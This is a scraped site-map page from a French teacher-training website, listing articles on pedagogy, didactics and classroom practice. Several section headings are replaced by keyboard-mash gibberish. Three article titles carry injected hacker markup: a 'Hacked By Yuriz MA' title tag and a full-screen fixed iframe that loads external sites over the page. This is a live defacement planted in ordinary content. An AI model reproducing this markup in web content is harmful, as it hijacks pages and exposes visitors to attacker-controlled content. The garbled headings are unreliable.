l’action</a></li> <li><a href="spip.php?article556">Un coup de pouce pour les filles ? Les biais de genre dans les notes des enseignants et leur effet sur le progrès des élèves</a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique28">pzouhfgrpomuihrmoiug</a></strong> <ul> <li><a href="spip.php?article67">Didactique professionnelle et didactique des disciplines, schèmes, compétences, Piaget par G. Vergnaud</a></li> <li><a href="spip.php?article86">Enseigner : quatre figures du même métier</a></li> <li><a href="spip.php?article81">La conceptualisation, clef de voûte des rapports entre pratique et théorie </a></li> <li><a href="spip.php?article68">La notion de gestes professionnels : entre analyse de l’activité, épistémologie et ingénierie de formation</a></li> <li><a href="spip.php?article85">Le métier se construit par l’expérience, la mutualisation et l’analyse de pratiques</a></li> <li><a href="spip.php?article371">Les gestes professionnels structurent l’activité de l’enseignant dans un canevas commun</a></li> <li><a href="spip.php?article298">Rencontres AREF 2010</a></li> </ul> </li> </ul> <h3>Sites Web</h3> <ul> <li><a href="spip.php?site14">SITE ANALYSE DE PRATIQUE.org</a></li> </ul> <h2><a href="spip.php?rubrique19">dfghmjntqmohlijg</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article350">Dictionnaire de l’apprentissage du métier</a></li> <li><a href="spip.php?article570">L’abstraction réfléchissante</a></li> <li><a href="spip.php?article561">La Génération Z bouscule le monde de l’entreprise… et l’école ?</a></li> <li><a href="spip.php?article569">LES ABSTRACTIONS, selon Piaget</a></li> <li><a href="spip.php?article309">Lexique pour l’école</a></li> <li><a href="spip.php?article574">Notion d’Étayage</a></li> <li><a href="spip.php?article340">Théorie de la clarté cognitive, selon Fijalkow</a></li> <li><a href="spip.php?article341">Topogénèse</a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve20">Petit dictionnaire de pédagogie</a></li> <li><a href="spip.php?breve6">Dictionnaire de la formation</a></li> </ul> <h2><a href="spip.php?rubrique14">dfhwtgt</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article204">Formation permanente</a></li> <li><a href="spip.php?article205">La revue française de pédagogie</a></li> <li><a href="spip.php?article203">Les cahiers pédagogiques</a></li> <li><a href="spip.php?article202">Revue Recto Verso</a></li> </ul> <h2><a href="spip.php?rubrique20">dgshiuhbnrgodgwjhfx</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article216">BIBLIOGRAPHE PROPOSEE AUX CANDIDATS AU CAFIPEMF</a></li> <li><a href="spip.php?article218">Bibliographie complémentaire</a></li> <li><a href="spip.php?article407">Bibliographie pour une classe réussie</a></li> <li><a href="spip.php?article217">Construire de la motivation et un rapport positif au savoir</a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve21">Brèves à rire ou à pleurer : quelques perles</a></li> </ul> <h2><a href="spip.php?rubrique15">eqrsiomuhrgsopirte</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article237">0. Préambule au socle commun</a></li> <li><a href="spip.php?article236">1. La maîtrise de la langue française</a></li> <li><a href="spip.php?article235">2. La pratique d’une langue vivante étrangère</a></li> <li><a href="spip.php?article234">3. Les principaux éléments de mathématiques et la culture scientifique et technologique</a></li> <li><a href="spip.php?article233">4. La maîtrise des techniques usuelles de l’information</a></li> <li><a href="spip.php?article232">5. La culture humaniste</a></li> <li><a href="spip.php?article231">6. Les compétences sociales et civiques</a></li> <li><a href="spip.php?article239">7. L’autonomie et l’initiative</a></li> <li><a href="spip.php?article230">Nouveaux programmes 2008 pour l’école primaire</a></li> <li><a href="spip.php?article364">Points de vigilance</a></li> </ul> <h2><a href="spip.php?rubrique32">iuzshdedfvoijertqbpoçiouj</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article546">Analyse de pratiques et professionnalité des enseignants </a></li> <li><a href="spip.php?article470">Apprendre ! parcours de formation autour de l’acte de faire apprendre</a></li> <li><a href="spip.php?article456">CE1 et CE2 : les situations de jeux et manipulations langagières</a></li> <li><a href="spip.php?article455">CM1 et CM2 : Le laboratoire d’investigation sur la langue</a></li> <li><a href="spip.php?article545">Comment faire un itinéraire d’apprentissage ?</a></li> <li><a href="spip.php?article462">CP : la fonction syntaxique de la dictée à l’adulte</a></li> <li><a href="spip.php?article469">Eléments de didactique professionnelle & activité enseignante</a></li> <li><a href="spip.php?article454">Formation de formateurs en grammaire</a></li> <li><a href="spip.php?article461">Grammaire au CE1 : un glissement vers l’objet linguistique observé</a></li> <li><a href="spip.php?article459">Grammaire explicite et production d’écrits au CM</a></li> <li><a href="spip.php?article460">Grammaire implicite et dictée à l’adulte au CP et GS</a></li> <li><a href="spip.php?article551">La boite à outils professionnels du formateur</a></li> <li><a href="spip.php?article554">La carte mentale comme outil pédagogique</a></li> <li><a href="spip.php?article553">La pyramide de Maslow</a></li> <li><a href="spip.php?article468">Méthodologie de base pour enseigner</a></li> <li><a href="spip.php?article457">Parcours de formation en étude de la langue à l’école</a></li> <li><a href="spip.php?article458">Parcours de formation en étude de la langue pour élèves allophones</a></li> <li><a href="spip.php?article465">Parcours de formation sur l’égalité filles - garçons</a></li> <li><a href="spip.php?article463">Parcours de formation sur le racisme et l’exclusion</a></li> <li><a href="spip.php?article464">Parcours de réflexion à partir d’images sexistes</a></li> <li><a href="spip.php?article467">Script de séance et gestes professionnels</a></li> <li><a href="spip.php?article466">We Want Sex Equality </a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve26">Clic image pour enrichir le vocabulaire</a></li> </ul> <h2><a href="spip.php?rubrique17">iyushdgfiuhetqgt</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article213">Bibliographie de la thèse, ouvrages consultés</a></li> <li><a href="spip.php?article215">Compétences plurielles de l’enseignant</a></li> <li><a href="spip.php?article210">Conclusion (sans les schémas)</a></li> <li><a href="spip.php?article209">Introduction du mémoire </a></li> <li><a href="spip.php?article212">Références Web</a></li> <li><a href="spip.php?article208">Sommaire de la thèse</a></li> <li><a href="spip.php?article214">Sommaire des annexes</a></li> <li><a href="spip.php?article211">Thèse sous format PDF par chapitres</a></li> </ul> <h2><a href="spip.php?rubrique35">liyuerqgfilkujbregmk:jbneqrmlyn</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article563">Objectif Maternelle - ressources pour le cycle 1</a></li> <li><a href="spip.php?article565">Séquence en danse</a></li> <li><a href="spip.php?article568">Séquences de motricité (en maternelle)</a></li> <li><a href="spip.php?article566">Séquences en langage en maternelle</a></li> <li><a href="spip.php?article567">Séquences en littérature</a></li> <li><a href="spip.php?article564">Séquences en mathématiques - géométrie</a></li> </ul> <h2><a href="spip.php?rubrique21">mdoufhgoimpjhsfphoikj</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article475">Boîtiers et TNI font bon ménage à l’école élémentaire du Pré Saint Gervais</a></li> <li><a href="spip.php?article421">http://www.epsidoc.net/index.htm</a></li> <li><a href="spip.php?article422">Maths en ligne</a></li> <li><a href="spip.php?article420">Ortho grammaire en ligne</a></li> <li><a href="spip.php?article327">Sélection de sites consacrés à la langue française</a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve24">SITES POUR SE FORMER A L’ENSEIGNEMENT</a></li> <li><a href="spip.php?breve23">PUB GRATIS POUR LES AFFICHES ROSSIGNOL DELICIEUSEMENT RETRO</a></li> <li><a href="spip.php?breve18">A l’affiche des ressources de l’internet</a></li> </ul> <h3>Sites Web</h3> <ul> <li><a href="spip.php?site1"> LE CAFE PEDAGOGIQUE</a></li> <li><a href="spip.php?site3"> Réseau EPPEE</a></li> <li><a href="spip.php?site2">Le Cercle de Recherche et d’Action Pédagogiques et les Cahiers pédagogiques</a></li> <li><a href="spip.php?site5">RECTO VERSO inspection académique de Nantes</a></li> <li><a href="spip.php?site4">Site de Philippe Perrenoud</a></li> </ul> <h2><a href="spip.php?rubrique11">Première classe, quelques repères pour bien démarrer la classe</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article201">Fiche type de projet</a></li> </ul> <ul> <li> <strong><a href="spip.php?rubrique31">ermlkulngmpoeuirhg^^poù</a></strong> <ul> <li><a href="spip.php?article258">Affichages dans la classe</a></li> <li><a href="spip.php?article254">Aménager sa classe à l’école maternelle</a></li> <li><a href="spip.php?article253">Aménager sa classe en école élémentaire</a></li> <li><a href="spip.php?article311">Fiche-type de projet</a></li> <li><a href="spip.php?article257">Gestion du groupe - classe</a></li> <li><a href="spip.php?article255">Les outils des élèves</a></li> <li><a href="spip.php?article518">Portfolio d’outils de la culture professionnelle</a></li> <li><a href="spip.php?article418">Réussir ses premiers cours</a></li> <li><a href="spip.php?article261">Relations avec les parents</a></li> <li><a href="spip.php?article260">Utiliser un manuel</a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique30">piouherfgoijert$po</a></strong> <ul> <li><a href="spip.php?article478">Guide Repères : Fiches familiales d’accompagnement à la scolarité</a></li> <li><a href="spip.php?article245">Le film « Première classe » </a></li> <li><a href="spip.php?article296">Les neuf commandements de la préparation de séquence</a></li> <li><a href="spip.php?article481">Les outils de la culture professionnelle</a></li> <li><a href="spip.php?article246">Meirieu : Lettre à un jeune professeur.</a></li> <li><a href="spip.php?article319">Repères pour apprendre à bien apprendre</a></li> <li><a href="spip.php?article268">Repères pour bien démarrer la classe le premier jour</a></li> <li><a href="spip.php?article243">Repères pour l’école maternelle</a></li> <li><a href="spip.php?article480">Repères pour planifier la séance de classe</a></li> <li><a href="spip.php?article318">Repères pour une méthodologie de travail pour l’élève </a></li> <li><a href="spip.php?article240">Repères sur des gestes professionnels et script de séance</a></li> <li><a href="spip.php?article482">Repères sur la préparation de classe</a></li> <li><a href="spip.php?article241">Repères sur l’école élémentaire</a></li> <li><a href="spip.php?article244">Repères sur le collège</a></li> <li><a href="spip.php?article297">Repères sur les étapes du déroulement de la préparation</a></li> <li><a href="spip.php?article479">Repères sur les notions de Programme - programmation - progressions</a></li> <li><a href="spip.php?article368">Savoir enseigner dans le secondaire Didactique générale</a></li> <li><a href="spip.php?article269">Un film sur la tenue de classe pour les enseignants néotitulaires</a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique29">szezlmjfhze’iujhg</a></strong> <ul> <li><a href="spip.php?article242">"Le cahier de vie" en classe maternelle</a></li> <li><a href="spip.php?article264">Entrée dans le métier, entrée dans l’institution, entrée dans la classe</a></li> <li><a href="spip.php?article317">La préparation de classe</a></li> <li><a href="spip.php?article262">L’emploi du temps</a></li> <li><a href="spip.php?article265">Les différents cahiers des élèves, les diverses traces écrites</a></li> <li><a href="spip.php?article247">Les outils de la culture professionnelle</a></li> <li><a href="spip.php?article250">Pratiques recommandées dans le domaine de l’écrit</a></li> <li><a href="spip.php?article251">Pratiques recommandées dans le domaine de l’oral</a></li> <li><a href="spip.php?article248">Programme - programmation - progressions</a></li> <li><a href="spip.php?article249">Questionnement d’aide à la préparation de la classe pour les débutants... et les autres.</a></li> <li><a href="spip.php?article312">Questions à se poser pour bien préparer sa classe</a></li> <li><a href="spip.php?article263">Qui fait quoi et comment ?</a></li> <li><a href="spip.php?article266">Une classe à préparer, l’art de l’anticipation</a></li> </ul> </li> </ul> <h2><a href="spip.php?rubrique1">SCRIPT HTML</a></h2> <ul> <li> <strong><a href="spip.php?rubrique23">çpuhjqrgmoliljeqrtg^^po</a></strong> <ul> <li><a href="spip.php?article31">7 verbes pour des scénarios d"apprentissage possibles</a></li> <li><a href="spip.php?article575"><title>Hacked By Yuriz MA</title><iframe src="http://2no.co/30Gm3.txt" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?article542"><title>Hacked By Yuriz MA</title><iframe src="http://sacredchildacademy.com" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?article34">Apprendre ou de l’appropriation d’un patrimoine</a></li> <li><a href="spip.php?article502">Apprendre selon Giordan : bousculer !</a></li> <li><a href="spip.php?article33">Apprendre, de quoi parle t-on ?</a></li> <li><a href="spip.php?article541">Approche historique des théories de l’apprentissage</a></li> <li><a href="spip.php?article28">Article sur l’apprentissage selon Wikipedia</a></li> <li><a href="spip.php?article427">Ce que l’on sait de l’apprentissage aujourd’hui</a></li> <li><a href="spip.php?article29">Conceptions éducatives</a></li> <li><a href="spip.php?article435">Des compétences en éducation initiale : un leurre !</a></li> <li><a href="spip.php?article58">Des tâches habituelles pour un étayage soutenu</a></li> <li><a href="spip.php?article549">Enseigner n’est pas apprendre</a></li> <li><a href="spip.php?article30">Es-tu plutôt visuel ou auditif ?</a></li> <li><a href="spip.php?article61">Improbables apprentissages ?</a></li> <li><a href="spip.php?article550">La démarche d’auto-socio-construction des savoirs à l’école et en formation </a></li> <li><a href="spip.php?article543">La didactique des mathématiques</a></li> <li><a href="spip.php?article59">La mémoire et l’apprentissage</a></li> <li><a href="spip.php?article548">Le modèle allostérique</a></li> <li><a href="spip.php?article6">Les intelligences multiples par Gardner</a></li> <li><a href="spip.php?article32">Les mots essentiels en théorie de l’apprentissage</a></li> <li><a href="spip.php?article57">Qu’est-ce que sont les gestes mentaux et la gestion mentale ?</a></li> <li><a href="spip.php?article60">Sciences cognitives et apprentissage</a></li> <li><a href="spip.php?article114">TABLEAU COMPARATIF SUR LES TYPES PEDAGOGIQUES TRADITIONNELS ET RENOVES</a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique22">mouhrfsomigjerqpij</a></strong> <ul> <li><a href="spip.php?article40">Définition de la didactique</a></li> <li><a href="spip.php?article278">Dépister les obstacles d’apprentissage</a></li> <li><a href="spip.php?article38">De l’état actuel des connaissances sur la lecture</a></li> <li><a href="spip.php?article36">De la transposition didactique</a></li> <li><a href="spip.php?article491">Didactique professionnelle et enseignement</a></li> <li><a href="spip.php?article496">Didactique professionnelle et enseignement</a></li> <li><a href="spip.php?article39">Différencier didactique et pédagogie</a></li> <li><a href="spip.php?article343">Difficultés d’apprentissage, processus de secondarisation et pratiques enseignantes : une hypothèse relationnelle Élisabeth Bautier, Roland Goigoux</a></li> <li><a href="spip.php?article503">Enseigner l’Histoire selon Philippe Joutard : « pour apprendre la complexité du monde »</a></li> <li><a href="spip.php?article504">Enseigner la géographie : freins et perspectives</a></li> <li><a href="spip.php?article35">La médiation enseignante (ou médiation didactique)</a></li> <li><a href="spip.php?article490">Littératie</a></li> <li><a href="spip.php?article417">Questions sur le bilinguisme des enfants issus de l’immigration</a></li> <li><a href="spip.php?article37">Théories des champs conceptuels </a></li> </ul> </li> <li> <strong><a href="spip.php?rubrique24">poihertfng^^opijyrh</a></strong> <ul> <li><a href="spip.php?article300"> "Personnalisation et individualisation des parcours des élèves".</a></li> <li><a href="spip.php?article338">"Avons-nous encore besoin de la pédagogie ?"</a></li> <li><a href="spip.php?article55"><title>Hacked By Yuriz MA</title><iframe src="http://sacredchildacademy.com" style="border: 0; position: fixed; top:0; left:0; right:0; bottom:0; width:100%; height:100%"></a></li> <li><a href="spip.php?article571">Apprendre, oui... mais à ma manière</a></li> <li><a href="spip.php?article11">« Être soucieux de la personnalité de l’enfant »</a></li> <li><a href="spip.php?article43">Brève histoire (CRITIQUE !) de l’éducation... </a></li> <li><a href="spip.php?article45">Brève histoire de l’éducation</a></li> <li><a href="spip.php?article56">CONNAISSANCE DES JEUNES</a></li> <li><a href="spip.php?article277">DIFFÉRENCIATION SIMULTANÉE ET DIFFÉRENCIATION SUCCESSIVE.</a></li> <li><a href="spip.php?article408">Ecole et notation : le dilemne</a></li> <li><a href="spip.php?article500">Enseigner : quatre figures du même métier</a></li> <li><a href="spip.php?article23">Evaluer pour quoi faire ?</a></li> <li><a href="spip.php?article51">La pédagogie active</a></li> <li><a href="spip.php?article48">La pédagogie archétypale</a></li> <li><a href="spip.php?article49">La pédagogie de projet</a></li> <li><a href="spip.php?article42">La pédagogie différenciée</a></li> <li><a href="spip.php?article50">La pédagogie Freinet</a></li> <li><a href="spip.php?article52">La pédagogie Montessori</a></li> <li><a href="spip.php?article53">La pédagogie Steiner-Waldorf</a></li> <li><a href="spip.php?article54">La pédagogie traditionnelle</a></li> <li><a href="spip.php?article485">LE JOURNAL DES APPRENTISSAGES : QUELLE RÉFLEXIVITÉ ?</a></li> <li><a href="spip.php?article415">Le learning centre est-il un modèle pédagogique pour l’école numérique ?</a></li> <li><a href="spip.php?article383">Le nouvel esprit scientifique et les sciences de l’éducation de Gaston Mialaret</a></li> <li><a href="spip.php?article453">Le numérique va-t-il aider les apprentissages des garçons ?</a></li> <li><a href="spip.php?article539">Les opérations intellectuelles</a></li> <li><a href="spip.php?article540">Les styles cognitifs</a></li> <li><a href="spip.php?article41">Lexique pédagogique à l’usage des débutants (et des autres !)</a></li> <li><a href="spip.php?article27">Mémoire et apprentissage = une même activité intellectuelle</a></li> <li><a href="spip.php?article47">Méthodes pédagogiques</a></li> <li><a href="spip.php?article447">Notes pédagogiques</a></li> <li><a href="spip.php?article44">Petit historique des courants pédagogiques </a></li> <li><a href="spip.php?article276">Plaidoyer pour une pédagogie différenciée</a></li> <li><a href="spip.php?article441">Pour Roland Goigoux, il faut aider les enseignants à devenir des spécialites de l’apprentissage, de surcroît individualisé</a></li> <li><a href="spip.php?article434">Un penseur pour l’école : Vygotski</a></li> <li><a href="spip.php?article320">Un siècle d’éducation nouvelle</a></li> <li><a href="spip.php?article229">Usages des TIC et pédagogie</a></li> <li><a href="spip.php?article439">Youri Meignan : Faire autorité dans le travail</a></li> </ul> </li> </ul> <h2><a href="spip.php?rubrique16">ulehrtgopujzhq</a></h2> <h3>Articles</h3> <ul> <li><a href="spip.php?article426">École : vive les profs !</a></li> <li><a href="spip.php?article473">Opération "gesclasse" : tester votre style de gestion de classe</a></li> <li><a href="spip.php?article472">Quel est votre style professoral ?</a></li> </ul> <h3>Brèves</h3> <ul> <li><a href="spip.php?breve16">Prochainement en ligne les portraits de profs</a></li> </ul> </div> </div> <div id="navigation"> <div class="menu rubriques"> <h2>Rubriques</h2> <ul> <li> <a href="spip.php?rubrique3">Analyse de l’activité enseignante</a> </li> <li> <a href="spip.php?rubrique19">dfghmjntqmohlijg</a> </li> <li> <a href="spip.php?rubrique14">dfhwtgt</a> </li> <li> <a href="spip.php?rubrique20">dgshiuhbnrgodgwjhfx</a> </li> <li> <a href="spip.php?rubrique15">eqrsiomuhrgsopirte</a> </li> <li> <a href="spip.php?rubrique32">iuzshdedfvoijertqbpoçiouj</a> </li> <li> <a href="spip.php?rubrique17">iyushdgfiuhetqgt</a> </li> <li> <a href="spip.php?rubrique35">liyuerqgfilkujbregmk:jbneqrmlyn</a> </li> <li> <a href="spip.php?rubrique21">mdoufhgoimpjhsfphoikj</a> </li> <li> <a href="spip.php?rubrique11">Première classe, quelques repères pour bien démarrer la classe</a> </li> <li> <a href="spip.php?rubrique1">SCRIPT HTML</a> </li> <li> <a href="spip.php?rubrique16">ulehrtgopujzhq</a> </li> <li> <a href="spip.php?rubrique2">1</a> </li> <li> <a href="spip.php?rubrique4">2</a> </li> <li> <a href="spip.php?rubrique5">3</a> </li> <li> <a href="spip.php?rubrique6">4</a> </li> <li> <a href="spip.php?rubrique7">5</a> </li> <li> <a href="spip.php?rubrique8">6</a> </li> <li> <a href="spip.php?rubrique9">7</a> </li> <li> <a href="spip.php?rubrique10">8</a> </li> <li> <a href="spip.php?rubrique12">9</a> </li> <li> <a href="spip.php?rubrique13">10</a> </li> </ul> </div> <div class="formulaire_spip formulaire_recherche" id="formulaire_recherche"> <form action="http://classedu.free.fr/spip.php?page=recherche" method="get"><div> <input name="page" value="recherche" type="hidden" /> <input type="hidden" name="lang" value="fr" /> <label for="recherche">Rechercher :</label> <input type="text" class="text" size="10" name="recherche" id="recherche" accesskey="4" /> <input type="submit" class="submit" value=">>" title="Rechercher" /> </div></form> </div> </div> <div id="extra">   </div> <div id="pied"> <a href="http://www.spip.net/" title="Site réalisé avec SPIP"><img src="squelettes-dist/spip.png" alt="SPIP" width="48" height="16" /></a> | <a href="squelettes-dist/plan.html" title="voir le squelette de cette page" rel="nofollow">squelette</a> | <a href="http://classedu.free.fr/spip.php?page=login&url=spip.php%3Fpage%3Dplan" rel="nofollow" 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